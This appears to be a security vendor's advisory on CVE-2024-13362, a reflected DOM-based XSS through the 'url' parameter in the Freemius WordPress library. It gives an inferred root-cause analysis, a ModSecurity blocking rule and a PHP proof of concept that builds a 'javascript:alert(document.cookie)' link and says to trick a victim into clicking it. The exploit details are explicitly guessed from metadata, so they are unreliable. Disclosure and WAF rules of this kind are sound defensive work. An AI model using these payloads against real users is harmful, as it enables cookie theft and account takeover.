Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2024-13362 (metadata-based):
This vulnerability is a Reflected DOM-Based Cross-Site Scripting (XSS) issue affecting the Freemius library (versions <= 2.10.1) used by multiple plugins and themes including the basepress plugin (vulnerable version 2.16.3.3). An unauthenticated attacker can inject arbitrary web scripts via the 'url' parameter. The CVSS score is 6.1 (Medium), with a vector of AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.
Root Cause: Based on the CWE classification (79) and description, the root cause is improper neutralization of user input in the 'url' parameter during page generation. The Freemius library likely retrieves and processes a 'url' parameter from a request (possibly via GET or POST) and then reflects it into the DOM without adequate sanitization or escaping. Since no source code is available, Atomic Edge analysis infers that the vulnerable code resides in a Freemius JavaScript handler or PHP endpoint that reads the 'url' parameter and writes it directly into innerHTML, href, or similar DOM properties. The lack of output escaping (e.g., esc_js(), esc_url(), or proper encoding) allows script injection. This is a DOM-based XSS because the payload executes in the victim's browser without server-side reflection, likely through client-side JavaScript that processes the URL fragment or query string.
Exploitation: An attacker crafts a malicious link containing a payload in the 'url' parameter (e.g., http://target.site/?url=javascript:alert(document.cookie) or a data URI). The victim must click the link. The Freemius JavaScript code, upon page load, reads the 'url' parameter from the query string and uses it to set a window.location or element attribute without validation. For example, the library might use window.location.href = url_param or document.write(url_param). The attacker can also use an encoded payload such as %22%3E%3Cscript%3Ealert(1)%3C/script%3E to break out of an attribute context. The attack vector is network-based (AV:N), requires no authentication (PR:N), but requires user interaction (UI:R).
Remediation: The fix should sanitize and escape the 'url' parameter before any DOM manipulation. Developers must validate the URL against a whitelist of allowed schemes (e.g., https only) and use safe JavaScript methods like encodeURI() or setAttribute() with proper escaping. In WordPress context, using esc_url() or wp_kses() can prevent XSS. Since the vulnerability spans multiple plugins/themes using Freemius, the core Freemius library (v2.10.1) should be updated. For basepress plugin, version 2.16.3.6 contains the patch. The fix likely involves replacing unsafe DOM manipulation with safe alternatives and validating the 'url' parameter against a strict pattern (e.g., must start with http/https and be a valid URL).
Impact: An attacker can inject arbitrary HTML/JavaScript into the victim's browser. This enables session hijacking (stealing cookies), phishing (displaying fake login forms), defacement (altering page content), or keylogging (capturing keystrokes). Since the CVSS impact scores are Low for Confidentiality and Integrity, the attack requires user interaction and does not directly lead to full site compromise. However, combined with social engineering, it can lead to account takeover for targeted users.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@rx ^/" "id:20241994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 Reflected DOM XSS via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362',tag:'wordpress',tag:'xss'"
SecRule ARGS:url "@rx (?i)(?:javascript|vbscript|data|script|%3Cscript|%22%3E|>)" "t:urlDecodeUni,t:removeNulls,t:compressWhitespace"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
// This PoC demonstrates a reflected DOM-based XSS attack by crafting a malicious link
// that, when clicked by a victim, triggers the vulnerability in the Freemius library.
// Configuration
$target_url = 'http://example.com'; // Replace with the target WordPress site URL
// The vulnerable 'url' parameter is processed by Freemius JavaScript.
// We inject a payload that will execute when the victim clicks the link.
// The payload uses a javascript: URI scheme to run arbitrary JS.
// Note: Some browsers block javascript: URIs in certain contexts; this is the classic approach.
// Payload: javascript:alert(document.cookie)
$payload = 'javascript:alert(document.cookie)';
// Build the malicious URL
$malicious_url = $target_url . '/?url=' . urlencode($payload);
echo "[+] Atomic Edge CVE-2024-13362 PoCn";
echo "[+] Target: $target_urln";
echo "[+] Malicious URL: $malicious_urln";
echo "[+] Send this URL to the victim and trick them into clicking it.n";
echo "[+] Upon click, the injected JavaScript (alert with document.cookie) will execute.n";
// Optional: Verify if the target is reachable (just a check, not required for exploit)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code >= 200 && $http_code < 400) {
echo "[+] Target is reachable (HTTP $http_code). PoC is ready.n";
} else {
echo "[!] Target may not be reachable (HTTP $http_code). Check URL.n";
}
?>